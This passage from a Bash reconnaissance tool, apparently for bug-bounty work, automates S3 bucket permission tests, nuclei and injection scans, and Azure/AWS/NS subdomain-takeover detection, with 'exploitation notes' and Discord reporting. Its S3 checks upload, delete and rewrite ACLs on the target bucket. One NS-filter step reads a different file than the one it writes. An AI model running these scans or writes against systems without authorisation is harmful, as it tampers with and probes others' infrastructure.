        urls+=("https://${S3_BUCKET_NAME}.s3.${S3_REGION}.amazonaws.com/${object}")
    fi
    # Path-style (global)
    urls+=("https://s3.amazonaws.com/${S3_BUCKET_NAME}/${object}")
    # Path-style (regional)
    if [[ -n "$S3_REGION" ]]; then
        urls+=("https://s3.${S3_REGION}.amazonaws.com/${S3_BUCKET_NAME}/${object}")
        urls+=("https://s3-${S3_REGION}.amazonaws.com/${S3_BUCKET_NAME}/${object}")
    fi
    printf '%s\n' "${urls[@]}"
}

# Function to check permissions with curl for all S3 URL styles
check_s3_curl_permission_all_styles() {
    local perm_name="$1"
    local method="$2"
    local object="$3"
    local file="$4" # For PUT
    local output_file="$5"
    local urls
    urls=$(get_all_s3_urls "$object")
    local url
    local found_vulnerable=false
    
    for url in $urls; do
        log INFO "Testing ${perm_name} at $url"
        local result
        if [[ "$method" == "GET" ]]; then
            result=$(curl -s -o /dev/null -w "%{http_code}" "$url")
            if [[ "$result" == "200" ]]; then
                log SUCCESS "✅ ${perm_name}: ALLOWED"
                echo "[ALLOWED] ${perm_name}" >> "$output_file"
                found_vulnerable=true
                break
            else
                log INFO "❌ ${perm_name}: DENIED at $url (HTTP $result)"
            fi
        elif [[ "$method" == "PUT" ]]; then
            result=$(curl -s -o /dev/null -w "%{http_code}" -T "$file" "$url")
            if [[ "$result" =~ ^2 ]]; then
                log SUCCESS "✅ ${perm_name}: ALLOWED"
                echo "[ALLOWED] ${perm_name}" >> "$output_file"
                found_vulnerable=true
                break
            else
                log INFO "❌ ${perm_name}: DENIED at $url (HTTP $result)"
            fi
        elif [[ "$method" == "DELETE" ]]; then
            result=$(curl -s -o /dev/null -w "%{http_code}" -X DELETE "$url")
            if [[ "$result" =~ ^2 ]]; then
                log SUCCESS "✅ ${perm_name}: ALLOWED"
                echo "[ALLOWED] ${perm_name}" >> "$output_file"
                found_vulnerable=true
                break
            else
                log INFO "❌ ${perm_name}: DENIED at $url (HTTP $result)"
            fi
        fi
    done
    
    if [[ "$found_vulnerable" == false ]]; then
        echo "[DENIED] ${perm_name}" >> "$output_file"
    fi
    
    if [[ "$found_vulnerable" == true ]]; then
        return 0
    else
        return 1
    fi
}

# Function to run S3 bucket scan
s3_scan() {
    local bucket_name="$1"
    local region="$2"
    local no_sign_request="$3"
    
    log INFO "Starting S3 bucket scan for: $bucket_name"
    
    # Set up results directory for S3 scan
    S3_BUCKET_NAME="$bucket_name"
    S3_REGION="$region"
    S3_NO_SIGN_REQUEST="$no_sign_request"
    
    # Create S3-specific results directory
    DOMAIN_DIR="$RESULTS_DIR/s3_$bucket_name"
    CURRENT_SCAN_DIR="$DOMAIN_DIR"
    mkdir -p "$DOMAIN_DIR"
    ensure_permissions "$DOMAIN_DIR"
    
    # Create S3 scan directory
    local s3_dir="$DOMAIN_DIR/vulnerabilities/s3"
    mkdir -p "$s3_dir"
    ensure_permissions "$s3_dir"
    
    # Create output files
    local aws_results="$s3_dir/aws-cli-results.txt"
    local curl_results="$s3_dir/curl-results.txt"
    local public_results="$s3_dir/public-access-results.txt"
    local summary_file="$s3_dir/s3-scan-summary.txt"
    
    # Create empty files
    touch "$aws_results" "$curl_results" "$public_results" "$summary_file"
    ensure_permissions "$aws_results" "$curl_results" "$public_results" "$summary_file"
    
    # Create a temporary local file for testing write permissions
    echo "AutoAR S3 test file - $(date)" > "$S3_LOCAL_FILE"
    
    # Set AWS command flags
    local aws_flags=""
    if [[ "$S3_NO_SIGN_REQUEST" == true ]]; then
        aws_flags="--no-sign-request"
    fi
    if [[ -n "$S3_REGION" ]]; then
        aws_flags="$aws_flags --region $S3_REGION"
    fi
    
    log INFO "Testing S3 bucket permissions for: $S3_BUCKET_NAME"
    if [[ -n "$S3_REGION" ]]; then
        log INFO "Region: $S3_REGION"
    fi
    
    # Run permission checks (AWS CLI)
    log INFO "Running AWS CLI permission checks..."
    {
        echo "AWS CLI PERMISSIONS:"
        echo "Bucket: $S3_BUCKET_NAME"
        echo "Region: ${S3_REGION:-'default'}"
        echo ""
    } >> "$aws_results"
    
    # Check each permission and log results
    if check_s3_permission "Read" "aws s3 ls s3://$S3_BUCKET_NAME $aws_flags"; then
        echo "[ALLOWED] Read permission" >> "$aws_results"
    else
        echo "[DENIED] Read permission" >> "$aws_results"
    fi
    
    if check_s3_permission "Write" "aws s3 cp $S3_LOCAL_FILE s3://$S3_BUCKET_NAME/$S3_TEST_FILE $aws_flags && aws s3 rm s3://$S3_BUCKET_NAME/$S3_TEST_FILE $aws_flags"; then
        echo "[ALLOWED] Write permission" >> "$aws_results"
    else
        echo "[DENIED] Write permission" >> "$aws_results"
    fi
    
    if check_s3_permission "READ_ACP" "aws s3api get-bucket-acl --bucket $S3_BUCKET_NAME $aws_flags"; then
        echo "[ALLOWED] READ_ACP permission" >> "$aws_results"
    else
        echo "[DENIED] READ_ACP permission" >> "$aws_results"
    fi
    
    if check_s3_permission "WRITE_ACP" "aws s3api put-bucket-acl --bucket $S3_BUCKET_NAME --acl private $aws_flags"; then
        echo "[ALLOWED] WRITE_ACP permission" >> "$aws_results"
    else
        echo "[DENIED] WRITE_ACP permission" >> "$aws_results"
    fi
    
    if check_s3_permission "FULL_CONTROL" "aws s3api put-bucket-acl --bucket $S3_BUCKET_NAME --acl private $aws_flags && aws s3 cp $S3_LOCAL_FILE s3://$S3_BUCKET_NAME/$S3_TEST_FILE $aws_flags && aws s3 rm s3://$S3_BUCKET_NAME/$S3_TEST_FILE $aws_flags && aws s3 ls s3://$S3_BUCKET_NAME $aws_flags"; then
        echo "[ALLOWED] FULL_CONTROL permission" >> "$aws_results"
    else
        echo "[DENIED] FULL_CONTROL permission" >> "$aws_results"
    fi
    
    # Run curl-based permission checks for all S3 URL styles
    log INFO "Running curl-based permission checks..."
    {
        echo "CURL PERMISSIONS:"
        echo "Bucket: $S3_BUCKET_NAME"
        echo "Region: ${S3_REGION:-'default'}"
        echo ""
    } >> "$curl_results"
    
    # Test different operations
    check_s3_curl_permission_all_styles "List (GET /)" "GET" "" "" "$curl_results"
    check_s3_curl_permission_all_styles "Download (GET /$S3_TEST_FILE)" "GET" "$S3_TEST_FILE" "" "$curl_results"
    check_s3_curl_permission_all_styles "Upload (PUT /$S3_TEST_FILE)" "PUT" "$S3_TEST_FILE" "$S3_LOCAL_FILE" "$curl_results"
    check_s3_curl_permission_all_styles "Delete (DELETE /$S3_TEST_FILE)" "DELETE" "$S3_TEST_FILE" "" "$curl_results"
    
    # Test public/anonymous access
    log INFO "Testing public/anonymous access..."
    {
        echo "PUBLIC ACCESS:"
        echo "Bucket: $S3_BUCKET_NAME"
        echo "Region: ${S3_REGION:-'default'}"
        echo ""
    } >> "$public_results"
    
    # Set AWS_FLAGS for public checks
    local public_aws_flags="--no-sign-request"
    if [[ -n "$S3_REGION" ]]; then
        public_aws_flags="$public_aws_flags --region $S3_REGION"
    fi
    
    # Repeat permission checks with no-sign-request (AWS CLI)
    if check_s3_permission "Read (public)" "aws s3 ls s3://$S3_BUCKET_NAME $public_aws_flags"; then
        echo "[ALLOWED] Read permission (public)" >> "$public_results"
    else
        echo "[DENIED] Read permission (public)" >> "$public_results"
    fi
    
    if check_s3_permission "Write (public)" "aws s3 cp $S3_LOCAL_FILE s3://$S3_BUCKET_NAME/$S3_TEST_FILE $public_aws_flags && aws s3 rm s3://$S3_BUCKET_NAME/$S3_TEST_FILE $public_aws_flags"; then
        echo "[ALLOWED] Write permission (public)" >> "$public_results"
    else
        echo "[DENIED] Write permission (public)" >> "$public_results"
    fi
    
    # Repeat curl-based permission checks for all S3 URL styles (public)
    check_s3_curl_permission_all_styles "List (GET /, public)" "GET" "" "" "$public_results"
    check_s3_curl_permission_all_styles "Download (GET /$S3_TEST_FILE, public)" "GET" "$S3_TEST_FILE" "" "$public_results"
    check_s3_curl_permission_all_styles "Upload (PUT /$S3_TEST_FILE, public)" "PUT" "$S3_TEST_FILE" "$S3_LOCAL_FILE" "$public_results"
    check_s3_curl_permission_all_styles "Delete (DELETE /$S3_TEST_FILE, public)" "DELETE" "$S3_TEST_FILE" "" "$public_results"
    
    # Generate simple summary
    {
        echo "=== S3 BUCKET SCAN RESULTS ==="
        echo "Bucket: $S3_BUCKET_NAME"
        echo "Region: ${S3_REGION:-'default'}"
        echo "Scan Date: $(date)"
        echo ""
    } > "$summary_file"
    
    # Clean up local test file
    rm -f "$S3_LOCAL_FILE"
    
    # Combine all results into a single comprehensive file
    local combined_results="$s3_dir/s3-scan-results.txt"
    {
        echo "S3 BUCKET SCAN RESULTS"
        echo "======================"
        echo "Bucket: $S3_BUCKET_NAME"
        echo "Region: ${S3_REGION:-'default'}"
        echo "Date: $(date)"
        echo ""
        
        if [[ -s "$aws_results" ]]; then
            echo "AWS CLI PERMISSIONS:"
            echo "-------------------"
            grep -E "\[(ALLOWED|DENIED)\]" "$aws_results" || echo "No AWS CLI results"
            echo ""
        fi
        
        if [[ -s "$curl_results" ]]; then
            echo "CURL PERMISSIONS:"
            echo "----------------"
            grep -E "\[(ALLOWED|DENIED)\]" "$curl_results" || echo "No curl results"
            echo ""
        fi
        
        if [[ -s "$public_results" ]]; then
            echo "PUBLIC ACCESS:"
            echo "--------------"
            grep -E "\[(ALLOWED|DENIED)\]" "$public_results" || echo "No public access results"
            echo ""
        fi
        
    } > "$combined_results"
    
    # Send single combined file to Discord
    if [[ -n "$DISCORD_WEBHOOK" ]]; then
        send_file_to_discord "$combined_results" "S3 Bucket Complete Scan Results for $S3_BUCKET_NAME"
    fi
    
    log SUCCESS "S3 bucket scan completed for $S3_BUCKET_NAME"
    log INFO "Results saved in: $s3_dir"
    
    # Schedule cleanup after Discord notifications are sent
    cleanup_results "$DOMAIN_DIR"
}

# Function to run nuclei scans
run_nuclei_scans() {
    local domain_dir="$1"
    log INFO "Nuclei Scanning"
    if [[ -n "$SINGLE_SUBDOMAIN" ]]; then
        nuclei -u "https://$SINGLE_SUBDOMAIN"  -t nuclei_templates/Others -o "$domain_dir/vulnerabilities/nuclei_templates-results.txt" >> "$LOG_FILE" 2>&1
        nuclei -u "https://$SINGLE_SUBDOMAIN"  -t nuclei_templates/cves/ -o "$domain_dir/vulnerabilities/nuclei_templates-results.txt" >> "$LOG_FILE" 2>&1
        nuclei -u "https://$SINGLE_SUBDOMAIN"  -t nuclei-templates/http -o "$domain_dir/vulnerabilities/nuclei-templates-results.txt" >> "$LOG_FILE" 2>&1
    else
        nuclei -l "$domain_dir/subs/live-subs.txt"  -t nuclei_templates/Others -o "$domain_dir/vulnerabilities/nuclei_templates-results.txt" >> "$LOG_FILE" 2>&1
        nuclei -l "$domain_dir/subs/live-subs.txt"  -t nuclei_templates/cves/ -o "$domain_dir/vulnerabilities/nuclei_templates-results.txt" >> "$LOG_FILE" 2>&1
        nuclei -l "$domain_dir/subs/live-subs.txt"  -t nuclei-templates/http -o "$domain_dir/vulnerabilities/nuclei-templates-results.txt" >> "$LOG_FILE" 2>&1
    fi
    if [[ -s "$domain_dir/vulnerabilities/nuclei_templates-results.txt" && -n "$DISCORD_WEBHOOK" ]]; then
        send_file_to_discord "$domain_dir/vulnerabilities/nuclei_templates-results.txt" "Collected Templates Nuclei Scans Results"
    else
        log WARNING "No nuclei_templates-results.txt file found"
        send_to_discord "No Nuclei Collected Templates Scans Results"
    fi
    if [[ -s "$domain_dir/vulnerabilities/nuclei-templates-results.txt" && -n "$DISCORD_WEBHOOK" ]]; then
        send_file_to_discord "$domain_dir/vulnerabilities/nuclei-templates-results.txt" "Public Nuclei Scans Results"
    else
        log WARNING "No nuclei-templates-results.txt file found"
        send_to_discord "No Nuclei Public Scans Results"
    fi
}

# Function to detect technologies using httpx
detect_technologies() {
    log INFO "Detecting technologies with httpx"
    local tech_file="$DOMAIN_DIR/subs/tech-detect.txt"
    if [[ -s "$DOMAIN_DIR/subs/live-subs.txt" ]]; then
        httpx -l "$DOMAIN_DIR/subs/live-subs.txt" -tech-detect -title -status-code -server -nc -silent -o "$tech_file" >> "$LOG_FILE" 2>&1
        local tech_count=$(wc -l < "$tech_file")
        log SUCCESS "Technology detection completed for $tech_count hosts (saved to $tech_file)"
        if [[ -n "$DISCORD_WEBHOOK" ]]; then
            send_file_to_discord "$tech_file" "Technology Detection Results ($tech_count hosts)"
        fi
    else
        log WARNING "No live subdomains found for technology detection"
    fi
}

# Function to check Azure and AWS subdomain takeover vulnerabilities
check_azure_aws_takeover() {
    local domain_dir="$1"
    local findings_dir="$2"
    
    log INFO "Checking Azure and AWS subdomain takeover vulnerabilities..."
    
    local azure_output="$findings_dir/azure-takeover.txt"
    local aws_output="$findings_dir/aws-takeover.txt" 
    local combined_output="$findings_dir/azure-aws-takeover.txt"
    
    > "$azure_output"
    > "$aws_output" 
    > "$combined_output"
    
    local vulnerable_count=0 azure_count=0 aws_count=0
    
    [[ ! -f "$domain_dir/subs/all-subs.txt" || ! -s "$domain_dir/subs/all-subs.txt" ]] && { log WARNING "No subdomains file found"; return; }
    
    while IFS= read -r subdomain; do
        [[ -z "$subdomain" ]] && continue
        
        local cname="" dig_output="" status=""
        
        if dig_output=$(dig +short +noall +answer "$subdomain" CNAME 2>/dev/null); then
            cname=$(echo "$dig_output" | head -n1 | tr -d '[:space:]')
        fi
        
        if dig_output=$(dig +noall +answer "$subdomain" 2>/dev/null); then
            if echo "$dig_output" | grep -q "status: NXDOMAIN"; then
                status="NXDOMAIN"
            elif echo "$dig_output" | grep -q "status: NOERROR"; then
                status="NOERROR"
            elif echo "$dig_output" | grep -q "status: SERVFAIL"; then
                status="SERVFAIL"
            else
                status="UNKNOWN"
            fi
        else
            status="ERROR"
        fi
        
        [[ -z "$cname" || "$status" != "NXDOMAIN" ]] && continue
        
        if [[ "$cname" =~ \.(cloudapp\.net|azurewebsites\.net|cloudapp\.azure\.com|trafficmanager\.net)$ ]]; then
            local service_type=""
            case "$cname" in
                *.cloudapp.net) service_type="Azure CloudApp" ;;
                *.azurewebsites.net) service_type="Azure Websites" ;;
                *.cloudapp.azure.com) service_type="Azure VM" ;;
                *.trafficmanager.net) service_type="Azure Traffic Manager" ;;
            esac
            
            echo "[VULNERABLE] [SUBDOMAIN:$subdomain] [CNAME:$cname] [SERVICE:$service_type] [STATUS:$status]" | tee -a "$azure_output" "$combined_output"
            ((azure_count++))
            ((vulnerable_count++))
            log SUCCESS "Azure takeover found: $subdomain -> $cname ($service_type)"
        fi
        
        if [[ "$cname" =~ \.(elasticbeanstalk\.com|s3\.amazonaws\.com|elb\.amazonaws\.com|execute-api\..*\.amazonaws\.com)$ ]]; then
            local service_type=""
            case "$cname" in
                *.elasticbeanstalk.com) service_type="AWS Elastic Beanstalk" ;;
                *.s3.amazonaws.com) service_type="AWS S3" ;;
                *.elb.amazonaws.com) service_type="AWS Elastic Load Balancer" ;;
                *.execute-api.*.amazonaws.com) service_type="AWS API Gateway" ;;
            esac
            
            echo "[VULNERABLE] [SUBDOMAIN:$subdomain] [CNAME:$cname] [SERVICE:$service_type] [STATUS:$status]" | tee -a "$aws_output" "$combined_output"
            ((aws_count++))
            ((vulnerable_count++))
            log SUCCESS "AWS takeover found: $subdomain -> $cname ($service_type)"
        fi
        
    done < "$domain_dir/subs/all-subs.txt"
    
    # Generate summary
    {
        echo "=== AZURE & AWS SUBDOMAIN TAKEOVER DETECTION SUMMARY ==="
        echo "Scan Date: $(date)"
        echo "Total Subdomains Checked: $(wc -l < "$domain_dir/subs/all-subs.txt")"
        echo "Azure Vulnerabilities Found: $azure_count"
        echo "AWS Vulnerabilities Found: $aws_count"
        echo "Total Vulnerabilities: $vulnerable_count"
        echo ""
        
        if [[ $azure_count -gt 0 ]]; then
            echo "=== AZURE TAKEOVER VULNERABILITIES ==="
            cat "$azure_output"
            echo ""
        fi
        
        if [[ $aws_count -gt 0 ]]; then
            echo "=== AWS TAKEOVER VULNERABILITIES ==="
            cat "$aws_output"
            echo ""
        fi
        
        echo "=== EXPLOITATION NOTES ==="
        echo "Azure Services:"
        echo "- CloudApp: Register at https://portal.azure.com/?quickstart=True#create/Microsoft.CloudService"
        echo "- Websites: Register at https://portal.azure.com/#create/Microsoft.WebApp"
        echo "- VM: Register at https://portal.azure.com/#create/Microsoft.VirtualMachine"
        echo "- Traffic Manager: Register at https://portal.azure.com/#create/Microsoft.TrafficManager"
        echo ""
        echo "AWS Services:"
        echo "- Elastic Beanstalk: Register at https://console.aws.amazon.com/elasticbeanstalk/"
        echo "- S3: Register at https://console.aws.amazon.com/s3/"
        echo "- ELB: Register at https://console.aws.amazon.com/ec2/v2/home#LoadBalancers:"
        echo "- API Gateway: Register at https://console.aws.amazon.com/apigateway/"
        echo ""
        echo "References:"
        echo "- Azure: https://godiego.co/posts/STO-Azure/"
        echo "- AWS: https://godiego.co/posts/STO-AWS/"
        
    } >> "$combined_output"
    
    # Send results to Discord
    if [[ $vulnerable_count -gt 0 ]]; then
        log SUCCESS "Found $vulnerable_count subdomain takeover vulnerabilities ($azure_count Azure, $aws_count AWS)"
        
        if [[ -n "$DISCORD_WEBHOOK" ]]; then
            if [[ $azure_count -gt 0 ]]; then
                send_file_to_discord "$azure_output" "Azure Subdomain Takeover Results ($azure_count vulnerabilities)"
            fi
            
            if [[ $aws_count -gt 0 ]]; then
                send_file_to_discord "$aws_output" "AWS Subdomain Takeover Results ($aws_count vulnerabilities)"
            fi
            
            send_file_to_discord "$combined_output" "Azure & AWS Subdomain Takeover Summary ($vulnerable_count total)"
        fi
    else
        log INFO "No Azure or AWS subdomain takeover vulnerabilities found"
        
        if [[ -n "$DISCORD_WEBHOOK" ]]; then
            send_file_to_discord "$combined_output" "Azure & AWS Subdomain Takeover Scan - No vulnerabilities found"
        fi
    fi
    
    log SUCCESS "Azure and AWS takeover detection completed. Found $vulnerable_count total vulnerabilities"
}

# Function to scan for dangling DNS records using dnsx
scan_dangling_dns() {
    local domain_dir="$1"
    log INFO "Starting Unified DNS Takeover Scan (CNAME & NS)"
    
    if [[ ! -f "$domain_dir/subs/all-subs.txt" ]]; then
        log WARNING "[-] No subdomains file found at $domain_dir/subs/all-subs.txt"
        return
    fi
    
    mkdir -p "$domain_dir/vulnerabilities/dns-takeover"
    local findings_dir="$domain_dir/vulnerabilities/dns-takeover"
    > "$findings_dir/nuclei-takeover-public.txt"
    > "$findings_dir/nuclei-takeover-custom.txt"
    > "$findings_dir/azureSDT.txt"
    > "$findings_dir/ns-takeover-raw.txt"
    > "$findings_dir/ns-takeover-vuln.txt"
    > "$findings_dir/ns-servers.txt"
    > "$findings_dir/ns-servers-vuln.txt"
    > "$findings_dir/dns-takeover-summary.txt"
    > "$findings_dir/dnsreaper-results.txt"
    > "$findings_dir/filtered-ns-takeover-vuln.txt"

    # --- CNAME Takeover: Nuclei and subov88r only ---
    log INFO "Running Nuclei public takeover templates..."
    if [[ -d "nuclei-templates" ]]; then
        nuclei -l "$domain_dir/subs/all-subs.txt" -t nuclei-templates/http/takeovers/ -o "$findings_dir/nuclei-takeover-public.txt" >> "$LOG_FILE" 2>&1
        if [[ -s "$findings_dir/nuclei-takeover-public.txt" && -n "$DISCORD_WEBHOOK" ]]; then
            send_file_to_discord "$findings_dir/nuclei-takeover-public.txt" "Nuclei Public Takeover Findings"
        fi
    fi
    
    log INFO "Running Nuclei custom takeover templates..."
    if [[ -d "nuclei_templates" ]]; then
        nuclei -l "$domain_dir/subs/all-subs.txt" -t nuclei_templates/takeover/detect-all-takeover.yaml -o "$findings_dir/nuclei-takeover-custom.txt" >> "$LOG_FILE" 2>&1
        if [[ -s "$findings_dir/nuclei-takeover-custom.txt" && -n "$DISCORD_WEBHOOK" ]]; then
            send_file_to_discord "$findings_dir/nuclei-takeover-custom.txt" "Nuclei Custom Takeover Findings"
        fi
    fi

    # Run DNSReaper scan
    log INFO "Running DNSReaper scan..."
    cp "$domain_dir/subs/all-subs.txt" "$findings_dir/dnsreaper-input.txt"
    docker run -it --rm -v "$(pwd):/etc/dnsreaper" punksecurity/dnsreaper file --filename "/etc/dnsreaper/$findings_dir/dnsreaper-input.txt" > "$findings_dir/dnsreaper-results.txt" 2>> "$LOG_FILE"
    if [[ -s "$findings_dir/dnsreaper-results.txt" && -n "$DISCORD_WEBHOOK" ]]; then
        send_file_to_discord "$findings_dir/dnsreaper-results.txt" "DNSReaper Takeover Results"
    fi

    # Run Azure and AWS subdomain takeover detection
    log INFO "Running Azure and AWS subdomain takeover detection..."
    check_azure_aws_takeover "$domain_dir" "$findings_dir"

    # --- NS Takeover: Enhanced scanning ---
    log INFO "Running enhanced NS takeover scan..."
    
    # First get all NS records
    log INFO "Extracting NS records..."
    dnsx -l "$domain_dir/subs/all-subs.txt" -ns -silent -ro > "$findings_dir/ns-servers.txt"
    
    # Check both subdomains and NS servers for DNS errors
    log INFO "Checking subdomains for DNS errors..."
    dnsx -l "$domain_dir/subs/all-subs.txt" -rcode servfail,refused -silent > "$findings_dir/ns-takeover-raw.txt"
    
    log INFO "Checking NS servers for DNS errors..."
    dnsx -l "$findings_dir/ns-servers.txt" -rcode servfail,refused -silent >> "$findings_dir/ns-servers-vuln.txt"
    
    local ns_takeover_raw_count=$(wc -l < "$findings_dir/ns-takeover-raw.txt")
    local ns_servers_vuln_count=$(wc -l < "$findings_dir/ns-servers-vuln.txt")
    
    log INFO "Found $ns_takeover_raw_count subdomains and $ns_servers_vuln_count NS servers with DNS errors"

    if [[ $ns_takeover_raw_count -gt 0 && -n "$DISCORD_WEBHOOK" ]]; then
        send_file_to_discord "$findings_dir/ns-takeover-raw.txt" "NS Takeover Candidates (Subdomain DNS Errors)"
    fi

    if [[ $ns_servers_vuln_count -gt 0 && -n "$DISCORD_WEBHOOK" ]]; then
        send_file_to_discord "$findings_dir/ns-servers-vuln.txt" "NS Takeover Candidates (NS Server DNS Errors)"
    fi

    # Filter for known vulnerable/edge-case NS providers
    local ns_vuln_regex='ns1-.*\.azure-dns\.com|ns2-.*\.azure-dns\.net|ns3-.*\.azure-dns\.org|ns4-.*\.azure-dns\.info|ns1\.dnsimple\.com|ns2\.dnsimple\.com|ns3\.dnsimple\.com|ns4\.dnsimple\.com|ns1\.domain\.com|ns2\.domain\.com|ns1\.dreamhost\.com|ns2\.dreamhost\.com|ns3\.dreamhost\.com|ns-cloud-.*\.googledomains\.com|ns5\.he\.net|ns4\.he\.net|ns3\.he\.net|ns2\.he\.net|ns1\.he\.net|ns1\.linode\.com|ns2\.linode\.com|ns1.*\.name\.com|ns2.*\.name\.com|ns3.*\.name\.com|ns4.*\.name\.com|ns1\.domaindiscover\.com|ns2\.domaindiscover\.com|yns1\.yahoo\.com|yns2\.yahoo\.com|ns1\.reg\.ru|ns2\.reg\.ru'
    grep -Ei "$ns_vuln_regex" "$findings_dir/ns-takeover-raw.txt" > "$findings_dir/ns-takeover-vuln.txt"
    local ns_takeover_vuln_count=$(wc -l < "$findings_dir/filtered-ns-takeover-vuln.txt")
    
    if [[ -s "$findings_dir/filtered-ns-takeover-vuln.txt" && -n "$DISCORD_WEBHOOK" ]]; then
        send_file_to_discord "$findings_dir/filtered-ns-takeover-vuln.txt" "NS Takeover Filtered Targets (Vulnerable Providers)"
    fi

    # --- Summary/reporting ---
    {
        echo "=== DNS TAKEOVER SCAN SUMMARY ==="
        echo "Scan Date: $(date)"
        echo "Total Subdomains Scanned: $(wc -l < "$domain_dir/subs/all-subs.txt")"
        echo "Tools Used: dnsx, nuclei, dnsreaper, dig (bash implementation)"
        echo ""
        echo "CNAME Takeover (Nuclei public): $(wc -l < "$findings_dir/nuclei-takeover-public.txt")"
        echo "CNAME Takeover (Nuclei custom): $(wc -l < "$findings_dir/nuclei-takeover-custom.txt")"
        echo "DNSReaper Results: $(wc -l < "$findings_dir/dnsreaper-results.txt")"
        echo "Azure Subdomain Takeover: $(wc -l < "$findings_dir/azure-takeover.txt")"
        echo "AWS Subdomain Takeover: $(wc -l < "$findings_dir/aws-takeover.txt")"
        echo "NS Takeover (Subdomain DNS Errors): $ns_takeover_raw_count"
        echo "NS Takeover (NS Server DNS Errors): $ns_servers_vuln_count"
        echo "NS Takeover (Vulnerable Providers): $ns_takeover_vuln_count"
        echo ""
        echo "=== Exploitation Notes ==="
        echo "- CNAME Takeover: Use Nuclei/DNSReaper/bash implementation findings for actionable subdomain takeovers."
        echo "- Azure Takeover: Check azure-takeover.txt for CloudApp, Websites, VM, and Traffic Manager vulnerabilities."
        echo "- AWS Takeover: Check aws-takeover.txt for Elastic Beanstalk, S3, ELB, and API Gateway vulnerabilities."
        echo "- NS Takeover: Check both subdomain and NS server DNS errors, prioritize those matching known vulnerable providers."
        echo "- Always verify manually before reporting."
        echo ""
        echo "References:"
        echo "- https://github.com/indianajson/can-i-take-over-dns"
        echo "- https://trickest.com/blog/dns-takeover-explained-protect-your-online-domain/"
        echo "- https://hackerone.com/reports/1226891"
        echo "- https://github.com/punk-security/dnsreaper"
    } > "$findings_dir/dns-takeover-summary.txt"

    log SUCCESS "DNS Takeover scan completed. Results saved in $findings_dir/"
}

# Function to run lite scan
lite_scan() {
    local domain="$1"
    log INFO "Starting Lite Scan for domain: $domain"
    
    # Create necessary directories
    mkdir -p "$DOMAIN_DIR"/{subs,urls,vulnerabilities/js}
    
    # 1. Subdomain Enumeration
    log INFO "Running subdomain enumeration"
    subEnum "$domain"
    
    # 2. CNAME Check
    log INFO "Running CNAME check"
    check_cname_records "$DOMAIN_DIR"
    
    # 3. Filter Live Hosts
    log INFO "Filtering live hosts"
    filter_live_hosts
    
    # 3.5 Technology Detection
    log INFO "Detecting technologies on live hosts"
    detect_technologies

    # 4. Dangling DNS Scan
    log INFO "Running Dangling DNS Scan"
    scan_dangling_dns "$DOMAIN_DIR"

    # 5. Reflection Scan
    log INFO "Running Reflection Scan"
    run_reflection_scan

    # put scan
    put_scan "$DOMAIN_DIR" "$domain"

    # 4. URL Collection
    log INFO "Collecting URLs"
    fetch_urls
    
    # 5. JS File Extraction and Analysis
    log INFO "Extracting and analyzing JavaScript files"
    scan_js_exposures "$DOMAIN_DIR"

    # Nuclei Scanning
    log INFO "Running Nuclei scans"
    run_nuclei_scans "$DOMAIN_DIR"
    
    # Fuzzuli Backup File Discovery (if fuzzuli is installed)
    if command -v fuzzuli &> /dev/null; then
        log INFO "Running fuzzuli backup file discovery"
        
        # Use the unified fuzzuli function with existing live subdomains or main domain
        if [[ -s "$DOMAIN_DIR/subs/live-subs.txt" ]]; then
            log INFO "Using discovered live subdomains for fuzzuli scan"
            run_fuzzuli_backup_scan "$domain" 50 10 "fuzzing" "$DOMAIN_DIR/subs/live-subs.txt"
        else
            log INFO "No live subdomains found, running fuzzuli on main domain only"
            run_fuzzuli_backup_scan "$domain" 50 10 "fuzzing"
        fi
    else
        log INFO "Fuzzuli not installed - skipping backup file discovery"
        log INFO "Install with: go install github.com/musana/fuzzuli@latest"
    fi
    
    log SUCCESS "Lite scan completed successfully!"
    if [[ -n "$DISCORD_WEBHOOK" ]]; then
        send_to_discord "🎉 Lite scan completed for $domain! Check $DOMAIN_DIR for detailed findings."
    fi
    
    # Schedule cleanup after Discord notifications are sent
    cleanup_results "$DOMAIN_DIR"
}

# Function to scan a single subdomain
scan_single_subdomain() {
    local subdomain="$1"
    log INFO "Running scans on subdomain: $subdomain"
    
    # Create necessary directories and initialize files
    mkdir -p "$DOMAIN_DIR"/{subs,urls,vulnerabilities/{xss,sqli,ssrf,ssti,lfi,rce,idor,js,takeovers},fuzzing,ports}
    
    # Initialize subdomain files
    echo "$subdomain" > "$DOMAIN_DIR/subs/all-subs.txt"
    echo "https://$subdomain" > "$DOMAIN_DIR/subs/live-subs.txt"
    
    # Initialize empty files
    touch "$DOMAIN_DIR/urls/all-urls.txt"
    touch "$DOMAIN_DIR/urls/js-urls.txt"
    touch "$DOMAIN_DIR/fuzzing/ffuf.html"
    touch "$DOMAIN_DIR/fuzzing/ffuf-post.html"
    
    # Run scans
    fetch_urls
    scan_js_exposures "$DOMAIN_DIR"
    run_reflection_scan
    check_cname_records "$DOMAIN_DIR"
    detect_technologies
    put_scan "$DOMAIN_DIR" "$subdomain"
    run_port_scan
    run_nuclei_scans "$DOMAIN_DIR"
    run_ffuf
    run_gf_scans
    run_sql_injection_scan
    run_dalfox_scan
    scan_dangling_dns "$DOMAIN_DIR"
    
    # Fuzzuli Backup File Discovery (if fuzzuli is installed)
    if command -v fuzzuli &> /dev/null; then
        log INFO "Running fuzzuli backup file discovery on subdomain"
        run_fuzzuli_backup_scan "$subdomain" 50 10 "fuzzing" "$DOMAIN_DIR/subs/live-subs.txt"
    else
        log INFO "Fuzzuli not installed - skipping backup file discovery"
        log INFO "Install with: go install github.com/musana/fuzzuli@latest"
    fi
    
    log SUCCESS "Subdomain scan completed for $subdomain"
    if [[ -n "$DISCORD_WEBHOOK" ]]; then
        send_to_discord "🎯 Subdomain scan completed for $subdomain! Check $DOMAIN_DIR for detailed findings."
    fi
    
    # Schedule cleanup after Discord notifications are sent
    cleanup_results "$DOMAIN_DIR"
}

# Function to scan entire domain
scan_domain() {
    local domain="$1"
    log INFO "Running scans on domain: $domain"
    subEnum "$domain"
    fetch_urls
    filter_live_hosts
    run_reflection_scan
    detect_technologies
    check_cname_records "$DOMAIN_DIR"
    scan_dangling_dns "$DOMAIN_DIR"
    put_scan "$DOMAIN_DIR" "$domain"
    run_port_scan
    scan_js_exposures "$DOMAIN_DIR"
    run_nuclei_scans "$DOMAIN_DIR"
    run_ffuf
    run_gf_scans
    run_sql_injection_scan
    run_dalfox_scan
    
    log SUCCESS "Domain scan completed for $domain"
    if [[ -n "$DISCORD_WEBHOOK" ]]; then
        send_to_discord "🌐 Domain scan completed for $domain! Check $DOMAIN_DIR for detailed findings."
    fi
    
    # Schedule cleanup after Discord notifications are sent
